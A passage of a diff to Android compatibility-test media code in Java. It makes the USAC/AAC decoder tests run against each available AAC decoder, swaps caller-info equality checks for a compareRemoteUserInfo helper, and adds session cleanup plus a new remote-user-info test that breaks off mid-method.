+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/1 for dec=" + aacDecName);
+                throw new RuntimeException(e);
+            }
+            try {
+                checkUsacDrcEffectType(2, 3.9810f, 0.0f, "Noisy", 1, 1, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
+                throw new RuntimeException(e);
+            }
 
-        // test DRC effectTypeID 6 "GENERAL"
-        // L    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
-        // R    -6dB -> normalization factor = 1/(10^(-6/10))  = 0.2511f
-        // mono +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
-        try {
-            checkUsacDrcEffectType(6, 7.9432f, 0.2511f, "General", 2, 1);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
-            throw new RuntimeException(e);
-        }
-        try {
-            checkUsacDrcEffectType(6, 7.9432f, 0.0f, "General", 1, 1);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
-            throw new RuntimeException(e);
+            // test DRC effectTypeID 3 "LIMITED"
+            // L    -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+            // R    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+            // mono -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+            try {
+                checkUsacDrcEffectType(3, 0.1258f, 7.9432f, "Limited", 2, 1, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/1 for dec=" + aacDecName);
+                throw new RuntimeException(e);
+            }
+            try {
+                checkUsacDrcEffectType(3, 0.1258f, 0.0f, "Limited", 1, 1, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/1/1 for dec=" + aacDecName);
+                throw new RuntimeException(e);
+            }
+
+            // test DRC effectTypeID 6 "GENERAL"
+            // L    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+            // R    -6dB -> normalization factor = 1/(10^(-6/10))  = 0.2511f
+            // mono +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+            try {
+                checkUsacDrcEffectType(6, 7.9432f, 0.2511f, "General", 2, 1, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/1 for dec=" + aacDecName);
+                throw new RuntimeException(e);
+            }
+            try {
+                checkUsacDrcEffectType(6, 7.9432f, 0.0f, "General", 1, 1, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/1/1 for dec=" + aacDecName);
+                throw new RuntimeException(e);
+            }
         }
     }
 
@@ -178,44 +215,52 @@
     public void testDecodeUsacStreamSwitchingM4a() throws Exception {
         Log.v(TAG, "START testDecodeUsacStreamSwitchingM4a");
 
-        // Stereo
-        // switch between SBR ratios and stereo modes
-        try {
-            checkUsacStreamSwitching(2.5459829E12f, 2,
-            R.raw.noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a FAILED!");
-            throw new RuntimeException(e);
-        }
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
 
-        // Mono
-        // switch between SBR ratios and stereo modes
-        try {
-            checkUsacStreamSwitching(2.24669126E12f, 1,
-            R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a FAILED!");
-            throw new RuntimeException(e);
-        }
+        for (String aacDecName : sAacDecoderNames) {
+            // Stereo
+            // switch between SBR ratios and stereo modes
+            try {
+                checkUsacStreamSwitching(2.5459829E12f, 2,
+                        R.raw.noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch sbr/stereo switch for "
+                        + aacDecName);
+                throw new RuntimeException(e);
+            }
 
-        // Stereo
-        // switch between USAC modes
-        try {
-            checkUsacStreamSwitching(2.1E12f, 2,
-            R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a FAILED!");
-            throw new RuntimeException(e);
-        }
+            // Mono
+            // switch between SBR ratios and stereo modes
+            try {
+                checkUsacStreamSwitching(2.24669126E12f, 1,
+                        R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch sbr/stereo switch for "
+                        + aacDecName);
+                throw new RuntimeException(e);
+            }
 
-        // Mono
-        // switch between USAC modes
-        try {
-            checkUsacStreamSwitching(1.7E12f, 1,
-            R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a FAILED!");
-            throw new RuntimeException(e);
+            // Stereo
+            // switch between USAC modes
+            try {
+                checkUsacStreamSwitching(2.1E12f, 2,
+                        R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch USAC mode switch for "
+                        + aacDecName);
+                throw new RuntimeException(e);
+            }
+
+            // Mono
+            // switch between USAC modes
+            try {
+                checkUsacStreamSwitching(1.7E12f, 1,
+                        R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch USAC mode switch for "
+                        + aacDecName);
+                throw new RuntimeException(e);
+            }
         }
     }
 
@@ -226,16 +271,21 @@
     public void testDecodeUsacSamplingRatesM4a() throws Exception {
         Log.v(TAG, "START testDecodeUsacSamplingRatesM4a");
 
-        try {
-            checkUsacSamplingRate(R.raw.noise_2ch_08khz_aot42_19_lufs_mp4);
-            checkUsacSamplingRate(R.raw.noise_2ch_12khz_aot42_19_lufs_mp4);
-            checkUsacSamplingRate(R.raw.noise_2ch_22_05khz_aot42_19_lufs_mp4);
-            checkUsacSamplingRate(R.raw.noise_2ch_64khz_aot42_19_lufs_mp4);
-            checkUsacSamplingRate(R.raw.noise_2ch_88_2khz_aot42_19_lufs_mp4);
-            checkUsacSamplingRateWoLoudness(R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacSamplingRatesM4a FAILED!");
-            throw new RuntimeException(e);
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                checkUsacSamplingRate(R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, aacDecName);
+                checkUsacSamplingRate(R.raw.noise_2ch_12khz_aot42_19_lufs_mp4, aacDecName);
+                checkUsacSamplingRate(R.raw.noise_2ch_22_05khz_aot42_19_lufs_mp4, aacDecName);
+                checkUsacSamplingRate(R.raw.noise_2ch_64khz_aot42_19_lufs_mp4, aacDecName);
+                checkUsacSamplingRate(R.raw.noise_2ch_88_2khz_aot42_19_lufs_mp4, aacDecName);
+                checkUsacSamplingRateWoLoudness(R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4,
+                        aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacSamplingRatesM4a for decoder" + aacDecName);
+                throw new RuntimeException(e);
+            }
         }
     }
 
@@ -248,7 +298,8 @@
      * USAC test DRC Effect Type
      */
     private void checkUsacDrcEffectType(int effectTypeID, float normFactor_L, float normFactor_R,
-                 String effectTypeName, int nCh, int aggressiveDrc) throws Exception {
+                 String effectTypeName, int nCh, int aggressiveDrc, String decoderName)
+                         throws Exception {
         int testinput = -1;
         AudioParameter decParams = new AudioParameter();
         DrcParams drcParams_def  = new DrcParams(127, 127, 96, 0, -1);
@@ -265,9 +316,9 @@
         }
 
         short[] decSamples_def  = decodeToMemory(decParams, testinput,
-                -1, null, drcParams_def);
+                -1, null, drcParams_def, decoderName);
         short[] decSamples_test = decodeToMemory(decParams, testinput,
-                -1, null, drcParams_test);
+                -1, null, drcParams_test, decoderName);
 
         float[] nrg_def  = checkEnergyUSAC(decSamples_def, decParams, nCh, 1, 0);
         float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, nCh, 1, 1);
@@ -290,14 +341,15 @@
     /**
      * USAC test stream switching
      */
-    private void checkUsacStreamSwitching(float nrg_ref, int encNch, int testinput) throws Exception
+    private void checkUsacStreamSwitching(float nrg_ref, int encNch, int testinput,
+            String decoderName) throws Exception
     {
         AudioParameter decParams = new AudioParameter();
         DrcParams drcParams      = new DrcParams(127, 127, 64, 0, -1);
 
         // Check stereo stream switching
         short[] decSamples = decodeToMemory(decParams, testinput,
-                -1, null, drcParams);
+                -1, null, drcParams, decoderName);
         float[] nrg = checkEnergyUSAC(decSamples, decParams, encNch, 1);
 
         float nrgRatio = nrg[0] / nrg_ref;
@@ -313,15 +365,15 @@
     /**
      * USAC test sampling rate
      */
-    private void checkUsacSamplingRate(int testinput) throws Exception {
+    private void checkUsacSamplingRate(int testinput, String decoderName) throws Exception {
         AudioParameter decParams  = new AudioParameter();
         DrcParams drcParams_def   = new DrcParams(127, 127, 64, 0, -1);
         DrcParams drcParams_test  = new DrcParams(127, 127, 96, 0, -1);
 
         short[] decSamples_def  = decodeToMemory(decParams, testinput,
-                -1, null, drcParams_def);
+                -1, null, drcParams_def, decoderName);
         short[] decSamples_test = decodeToMemory(decParams, testinput,
-                -1, null, drcParams_test);
+                -1, null, drcParams_test, decoderName);
 
         float[] nrg_def  = checkEnergyUSAC(decSamples_def, decParams, 2, 1);
         float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, 2, 1);
@@ -340,12 +392,12 @@
     /**
      * USAC test sampling rate for streams without loudness application
      */
-    private void checkUsacSamplingRateWoLoudness(int testinput) throws Exception {
+    private void checkUsacSamplingRateWoLoudness(int testinput, String decoderName) throws Exception
+    {
         AudioParameter decParams  = new AudioParameter();
         DrcParams drcParams       = new DrcParams();
 
-        short[] decSamples = decodeToMemory(decParams, testinput,
-                -1, null, drcParams);
+        short[] decSamples = decodeToMemory(decParams, testinput, -1, null, drcParams, decoderName);
 
         float[] nrg = checkEnergyUSAC(decSamples, decParams, 2, 1);
 
@@ -717,7 +769,7 @@
     }
 
     /**
-     * Decodes an compressed bitstream in the ISOBMFF into the RAM of the device.
+     * Decodes a compressed bitstream in the ISOBMFF into the RAM of the device.
      *
      * The decoder decodes compressed audio data as stored in the ISO Base Media File Format
      * (ISOBMFF) aka .mp4/.m4a. The decoder is not reproducing the waveform but stores the decoded
@@ -728,10 +780,12 @@
      * @param eossample the End-Of-Stream indicator
      * @param timestamps the time stamps to decode
      * @param drcParams the MPEG-D DRC decoder parameter configuration
+     * @param decoderName if non null, the name of the decoder to use for the decoding, otherwise
+     *     the default decoder for the format will be used
      * @throws RuntimeException
      */
     public short[] decodeToMemory(AudioParameter audioParams, int testinput,
-            int eossample, List<Long> timestamps, DrcParams drcParams)
+            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName)
             throws IOException
     {
         // TODO: code is the same as in DecoderTest, differences are:
@@ -739,7 +793,7 @@
         //          - no need/use of resetMode, configMode
         //       Split method so code can be shared
 
-        String localTag = TAG + "#decodeToMemory";
+        final String localTag = TAG + "#decodeToMemory";
         short [] decoded = new short[0];
         int decodedIdx = 0;
 
@@ -761,7 +815,11 @@
         assertTrue("not an audio file", mime.startsWith("audio/"));
 
         MediaFormat configFormat = format;
-        codec = MediaCodec.createDecoderByType(mime);
+        if (decoderName == null) {
+            codec = MediaCodec.createDecoderByType(mime);
+        } else {
+            codec = MediaCodec.createByCodecName(decoderName);
+        }
 
         // set DRC parameters
         if (drcParams != null) {

diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
index 6617703..091151c 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java

@@ -15,6 +15,8 @@
  */
 package android.media.cts;
 
+import static android.media.cts.Utils.compareRemoteUserInfo;
+
 import android.content.ComponentName;
 import android.media.browse.MediaBrowser;
 import android.media.browse.MediaBrowser.MediaItem;
@@ -201,19 +203,19 @@
     public void testGetBrowserInfo() throws Exception {
         synchronized (mWaitLock) {
             // StubMediaBrowserService stores the browser info in its onGetRoot().
-            assertEquals(mBrowserInfo, StubMediaBrowserService.sBrowserInfo);
+            assertTrue(compareRemoteUserInfo(mBrowserInfo, StubMediaBrowserService.sBrowserInfo));
 
             StubMediaBrowserService.clearBrowserInfo();
             mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mOnChildrenLoaded);
-            assertEquals(mBrowserInfo, StubMediaBrowserService.sBrowserInfo);
+            assertTrue(compareRemoteUserInfo(mBrowserInfo, StubMediaBrowserService.sBrowserInfo));
 
             StubMediaBrowserService.clearBrowserInfo();
             mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mOnItemLoaded);
-            assertEquals(mBrowserInfo, StubMediaBrowserService.sBrowserInfo);
+            assertTrue(compareRemoteUserInfo(mBrowserInfo, StubMediaBrowserService.sBrowserInfo));
         }
     }
 

diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index 6700a70..f4b2b39 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java

@@ -15,6 +15,8 @@
  */
 package android.media.cts;
 
+import static android.media.cts.Utils.compareRemoteUserInfo;
+
 import android.content.Intent;
 import android.media.AudioManager;
 import android.media.Rating;
@@ -87,7 +89,7 @@
             assertNotNull(mCallback.mCommandCallback);
             assertEquals(command, mCallback.mCommand);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
         }
     }
 
@@ -149,43 +151,43 @@
             controls.play();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnPlayCalled);
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             controls.pause();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnPauseCalled);
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             controls.stop();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnStopCalled);
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             controls.fastForward();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnFastForwardCalled);
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             controls.rewind();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnRewindCalled);
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             controls.skipToPrevious();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnSkipToPreviousCalled);
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             controls.skipToNext();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnSkipToNextCalled);
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             final long seekPosition = 1000;
@@ -193,7 +195,7 @@
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnSeekToCalled);
             assertEquals(seekPosition, mCallback.mSeekPosition);
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             final Rating rating = Rating.newStarRating(Rating.RATING_5_STARS, 3f);
@@ -202,7 +204,7 @@
             assertTrue(mCallback.mOnSetRatingCalled);
             assertEquals(rating.getRatingStyle(), mCallback.mRating.getRatingStyle());
             assertEquals(rating.getStarRating(), mCallback.mRating.getStarRating());
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             final String mediaId = "test-media-id";
@@ -213,7 +215,7 @@
             assertTrue(mCallback.mOnPlayFromMediaIdCalled);
             assertEquals(mediaId, mCallback.mMediaId);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             final String query = "test-query";
@@ -222,7 +224,7 @@
             assertTrue(mCallback.mOnPlayFromSearchCalled);
             assertEquals(query, mCallback.mQuery);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             final Uri uri = Uri.parse("content://test/popcorn.mod");
@@ -231,7 +233,7 @@
             assertTrue(mCallback.mOnPlayFromUriCalled);
             assertEquals(uri, mCallback.mUri);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             final String action = "test-action";
@@ -240,7 +242,7 @@
             assertTrue(mCallback.mOnCustomActionCalled);
             assertEquals(action, mCallback.mAction);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             mCallback.mOnCustomActionCalled = false;
@@ -251,7 +253,7 @@
             assertTrue(mCallback.mOnCustomActionCalled);
             assertEquals(action, mCallback.mAction);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             final long queueItemId = 1000;
@@ -259,13 +261,13 @@
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnSkipToQueueItemCalled);
             assertEquals(queueItemId, mCallback.mQueueItemId);
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             controls.prepare();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnPrepareCalled);
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             controls.prepareFromMediaId(mediaId, extras);
@@ -273,7 +275,7 @@
             assertTrue(mCallback.mOnPrepareFromMediaIdCalled);
             assertEquals(mediaId, mCallback.mMediaId);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             controls.prepareFromSearch(query, extras);
@@ -281,7 +283,7 @@
             assertTrue(mCallback.mOnPrepareFromSearchCalled);
             assertEquals(query, mCallback.mQuery);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             controls.prepareFromUri(uri, extras);
@@ -289,7 +291,7 @@
             assertTrue(mCallback.mOnPrepareFromUriCalled);
             assertEquals(uri, mCallback.mUri);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             mCallback.reset();
             KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MEDIA_STOP);
@@ -299,7 +301,7 @@
             // KeyEvent doesn't override equals.
             assertEquals(KeyEvent.ACTION_DOWN, mCallback.mKeyEvent.getAction());
             assertEquals(KeyEvent.KEYCODE_MEDIA_STOP, mCallback.mKeyEvent.getKeyCode());
-            assertEquals(mControllerInfo, mCallback.mCallerInfo);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
 
             // just call the callback once directly so it's marked as tested
             try {

diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index 7ca1310..fcc567b 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java

@@ -21,7 +21,6 @@
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
-import android.media.AudioManager;
 import android.media.session.MediaController;
 import android.media.session.MediaSession;
 import android.media.session.MediaSessionManager;
@@ -149,59 +148,115 @@
         handlerThread.start();
         Handler handler = new Handler(handlerThread.getLooper());
 
-        MediaSessionCallback callback = new MediaSessionCallback(2);
-        MediaSession session = new MediaSession(getInstrumentation().getTargetContext(), TAG);
-        session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
-                | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
-        session.setCallback(callback, handler);
-        PlaybackState state = new PlaybackState.Builder()
-                .setState(PlaybackState.STATE_PLAYING, 0, 1.0f).build();
-        // Fake the media session service so this session can take the media key events.
-        session.setPlaybackState(state);
-        session.setActive(true);
+        MediaSession session = null;
+        try {
+            session = new MediaSession(getInstrumentation().getTargetContext(), TAG);
+            MediaSessionCallback callback = new MediaSessionCallback(2, session);
+            session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
+                    | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
+            session.setCallback(callback, handler);
+            PlaybackState state = new PlaybackState.Builder()
+                    .setState(PlaybackState.STATE_PLAYING, 0, 1.0f).build();
+            // Fake the media session service so this session can take the media key events.
+            session.setPlaybackState(state);
+            session.setActive(true);
 
-        // A media playback is also needed to receive media key events.
-        Utils.assertMediaPlaybackStarted(getInstrumentation().getTargetContext());
+            // A media playback is also needed to receive media key events.
+            Utils.assertMediaPlaybackStarted(getInstrumentation().getTargetContext());
 
-        // Ensure that the listener is called for media key event,
-        // and any other media sessions don't get the key.
-        MediaKeyListener listener = new MediaKeyListener(2, true, handler);
-        mSessionManager.setOnMediaKeyListener(listener, handler);
-        injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
-        assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        assertEquals(listener.mKeyEvents.size(), 2);
-        assertKeyEventEquals(listener.mKeyEvents.get(0),
-                KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_DOWN, 0);
-        assertKeyEventEquals(listener.mKeyEvents.get(1),
-                KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_UP, 0);
-        assertFalse(callback.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-        assertEquals(callback.mKeyEvents.size(), 0);
+            // Ensure that the listener is called for media key event,
+            // and any other media sessions don't get the key.
+            MediaKeyListener listener = new MediaKeyListener(2, true, handler);
+            mSessionManager.setOnMediaKeyListener(listener, handler);
+            injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
+            assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(listener.mKeyEvents.size(), 2);
+            assertKeyEventEquals(listener.mKeyEvents.get(0),
+                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_DOWN, 0);
+            assertKeyEventEquals(listener.mKeyEvents.get(1),
+                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_UP, 0);
+            assertFalse(callback.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(callback.mKeyEvents.size(), 0);
 
-        // Ensure that the listener is called for media key event,
-        // and another media session gets the key.
-        listener = new MediaKeyListener(2, false, handler);
-        mSessionManager.setOnMediaKeyListener(listener, handler);
-        injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
-        assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        assertEquals(listener.mKeyEvents.size(), 2);
-        assertKeyEventEquals(listener.mKeyEvents.get(0),
-                KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_DOWN, 0);
-        assertKeyEventEquals(listener.mKeyEvents.get(1),
-                KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_UP, 0);
-        assertTrue(callback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        assertEquals(callback.mKeyEvents.size(), 2);
-        assertKeyEventEquals(callback.mKeyEvents.get(0),
-                KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_DOWN, 0);
-        assertKeyEventEquals(callback.mKeyEvents.get(1),
-                KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_UP, 0);
+            // Ensure that the listener is called for media key event,
+            // and another media session gets the key.
+            listener = new MediaKeyListener(2, false, handler);
+            mSessionManager.setOnMediaKeyListener(listener, handler);
+            injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
+            assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(listener.mKeyEvents.size(), 2);
+            assertKeyEventEquals(listener.mKeyEvents.get(0),
+                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_DOWN, 0);
+            assertKeyEventEquals(listener.mKeyEvents.get(1),
+                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_UP, 0);
+            assertTrue(callback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(callback.mKeyEvents.size(), 2);
+            assertKeyEventEquals(callback.mKeyEvents.get(0),
+                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_DOWN, 0);
+            assertKeyEventEquals(callback.mKeyEvents.get(1),
+                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_UP, 0);
 
-        // Ensure that the listener isn't called anymore.
-        listener = new MediaKeyListener(1, true, handler);
-        mSessionManager.setOnMediaKeyListener(listener, handler);
-        mSessionManager.setOnMediaKeyListener(null, handler);
-        injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
-        assertFalse(listener.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-        assertEquals(listener.mKeyEvents.size(), 0);
+            // Ensure that the listener isn't called anymore.
+            listener = new MediaKeyListener(1, true, handler);
+            mSessionManager.setOnMediaKeyListener(listener, handler);
+            mSessionManager.setOnMediaKeyListener(null, handler);
+            injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
+            assertFalse(listener.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(listener.mKeyEvents.size(), 0);
+        } finally {
+            if (session != null) {
+                session.release();
+            }
+        }
+    }
+
+    public void testRemoteUserInfo() throws Exception {
+        final Context context = getInstrumentation().getTargetContext();
+        HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        Handler handler = new Handler(handlerThread.getLooper());
+
+        MediaSession session = null;
+        try {
+            session = new MediaSession(context , TAG);
+            MediaSessionCallback callback = new MediaSessionCallback(5, session);
+            session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
+                    | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
+            session.setCallback(callback, handler);
+
+            // A media playback is also needed to receive media key events.
+            Utils.assertMediaPlaybackStarted(context);
+
+            // Dispatch key events 5 times.
+            KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MEDIA_PLAY);
+            // (1), (2): dispatch through key -- this will trigger event twice for up & down.
